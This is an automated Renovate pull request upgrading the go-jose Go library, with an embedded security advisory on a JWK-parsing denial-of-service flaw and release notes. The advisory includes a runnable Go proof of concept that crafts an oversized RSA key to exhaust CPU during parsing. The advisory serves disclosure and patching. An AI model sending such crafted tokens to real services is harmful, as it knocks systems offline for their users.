[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/go-jose/go-jose/v4	v4.1.4 → v4.1.6

---

Go JOSE: DoS when parsing JWKs that contain RSA keys

CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

More information

Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q
• https://nvd.nist.gov/vuln/detail/CVE-2026-116587
• https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
• https://github.com/go-jose/go-jose
• https://github.com/go-jose/go-jose/releases/tag/v4.1.6

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

go-jose/go-jose (github.com/go-jose/go-jose/v4)

v4.1.6

Compare Source

Fixed Security Issues

This release contains a fix for GHSA-mgcc-cww5-fp2q

Breaking Changes

The fix for GHSA-mgcc-cww5-fp2q involves capping the size of the RSA modulus of keys accepted by JWK parsing. This limit is 4096 bits. If you need this to be higher, set MaxRSAModulusBits before performing any JWK parsing.

Changed

• Reject mismatched JWE CEK lengths by @​akshithg in #​266
• Add a tests containerfile and threat model by @​mcpherrinm in #​300
• Fix error message for future issued tokens by @​inahga in #​303

Full Changelog: go-jose/go-jose@v4.1.5...v4.1.6

v4.1.5

Compare Source

Fixed security issues

• cipher/cbc_hmac: don't panic on empty ciphertext (#​292)
• cipher/cbc_hmac: don't panic on invalid key (#​291)
• json: limit stack depth (#​290)
• jwt: reject out-of-range NumericDate values (#​278)
• Check alg against pubkey curve during verify. (#​293)
• Reject malformed Ed25519 JWKs (#​250)
• jws: choose verification key per-signature (#​243)

Breaking Changes

In #​226, we un-exported jose.RandReader. This was used to be able to stub out the randomness function in tests, but is ignored as of Go 1.26 in some APIs, so no longer serves a useful function.

Changed

• Verify OpaqueSigner's Public() return is public (#​260)
• jws: skip signature on ErrJWKSKidNotFound (#​248)
• Handle JWE JSON without protected header (#​240)
• jws: don't strip internal whitespace before parsing JSON (#​239)
• jws: fewer calls to OpaqueSigner.Public() (#​224)
• Return a specific error when parsing empty string (#​216)
• Reject typed nil at Verify time (#​285)

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.